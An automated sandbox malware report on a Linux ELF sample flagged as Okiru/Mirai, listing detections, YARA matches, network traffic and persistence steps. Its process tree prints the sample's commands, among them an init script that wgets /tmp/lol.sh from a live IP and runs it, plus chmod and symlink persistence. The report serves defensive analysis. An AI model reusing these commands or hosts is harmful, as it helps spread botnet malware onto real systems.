Edit tour

Linux Analysis Report
x86_32.nn.elf

Overview

General Information

Sample name:	x86_32.nn.elf
Analysis ID:	1580233
MD5:	7a8c8bd1879880b4910dc8511392a718
SHA1:	f10607e0a3e2fac1f00257ffccb9a1dc1c69ebaf
SHA256:	cbc99993ee3f76b86331fabc4929c8277a76a2d35c86af1982901e8b5f9b03ae
Tags:	elfuser-abuse_ch
Infos:

Detection

Okiru

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Okiru

Drops files in suspicious directories

Machine Learning detection for sample

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Writes shell script file to disk with an unusual file extension

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580233
Start date and time:	2024-12-24 05:27:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86_32.nn.elf
Detection:	MAL
Classification:	mal84.spre.troj.evad.linELF@0/9@2/0

Runtime Messages

Command:	/tmp/x86_32.nn.elf
PID:	5432
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

x86_32.nn.elf (PID: 5432, Parent: 5344, MD5: 7a8c8bd1879880b4910dc8511392a718) Arguments: /tmp/x86_32.nn.elf

x86_32.nn.elf New Fork (PID: 5449, Parent: 5432)

sh (PID: 5449, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"

sh New Fork (PID: 5455, Parent: 5449)

systemctl (PID: 5455, Parent: 5449, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service

x86_32.nn.elf New Fork (PID: 5471, Parent: 5432)

sh (PID: 5471, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"

sh New Fork (PID: 5472, Parent: 5471)

chmod (PID: 5472, Parent: 5471, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system

x86_32.nn.elf New Fork (PID: 5473, Parent: 5432)

sh (PID: 5473, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"

sh New Fork (PID: 5474, Parent: 5473)

ln (PID: 5474, Parent: 5473, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system

x86_32.nn.elf New Fork (PID: 5475, Parent: 5432)

sh (PID: 5475, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"

x86_32.nn.elf New Fork (PID: 5476, Parent: 5432)

sh (PID: 5476, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"

sh New Fork (PID: 5477, Parent: 5476)

chmod (PID: 5477, Parent: 5476, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/sh

x86_32.nn.elf New Fork (PID: 5478, Parent: 5432)

sh (PID: 5478, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

sh New Fork (PID: 5479, Parent: 5478)

mkdir (PID: 5479, Parent: 5478, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d

x86_32.nn.elf New Fork (PID: 5480, Parent: 5432)

sh (PID: 5480, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"

sh New Fork (PID: 5481, Parent: 5480)

ln (PID: 5481, Parent: 5480, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/sh /etc/rc.d/S99sh

x86_32.nn.elf New Fork (PID: 5482, Parent: 5432)

x86_32.nn.elf New Fork (PID: 5484, Parent: 5482)

udisksd New Fork (PID: 5442, Parent: 802)

dumpe2fs (PID: 5442, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 5469, Parent: 5468)

snapd-env-generator (PID: 5469, Parent: 5468, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

udisksd New Fork (PID: 5494, Parent: 802)

dumpe2fs (PID: 5494, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5537, Parent: 802)

dumpe2fs (PID: 5537, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86_32.nn.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
x86_32.nn.elf	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0xe7a8:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
x86_32.nn.elf	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x4988:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x4c5b:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x5945:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
x86_32.nn.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5a40:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
x86_32.nn.elf	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xf3ab:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
x86_32.nn.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xa842:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
x86_32.nn.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xe3fe:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
x86_32.nn.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xcb69:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
x86_32.nn.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xa812:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5432.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0xe7a8:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x4988:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x4c5b:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x5945:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5a40:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xf3ab:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xa842:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xe3fe:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xcb69:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5432.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xa812:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Process Memory Space: x86_32.nn.elf PID: 5432	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Click to see the 5 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: x86_32.nn.elf	Virustotal: Detection: 23%			Perma Link
Source: x86_32.nn.elf	ReversingLabs: Detection: 21%

Machine Learning detection for sample

Source: x86_32.nn.elf

Joe Sandbox ML: detected

Source: x86_32.nn.elf

String: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginnfstftpmallocwaitpidw/etc/motd%s

Source: global traffic

TCP traffic: 192.168.2.13:44546 -> 94.156.227.234:38242

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: x86_32.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, sh.30.dr, bootcmd.12.dr, custom.service.12.dr	String found in binary or memory: http://94.156.227.233/
Source: x86_32.nn.elf, 5432.1.00000000ffe42000.00000000ffe63000.rw-.sdmp	String found in binary or memory: http://94.156.227.233/lol.sh
Source: x86_32.nn.elf	String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bi

Source: ELF static info symbol of initial sample

.symtab present: no

Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal84.spre.troj.evad.linELF@0/9@2/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/x86_32.nn.elf (PID: 5432)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/x86_32.nn.elf (PID: 5432)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 5474)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 5481)	File: /etc/rc.d/S99sh -> /etc/init.d/sh	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/x86_32.nn.elf (PID: 5432)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5472)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5477)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5263/cmdline	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5520/status	Jump to behavior
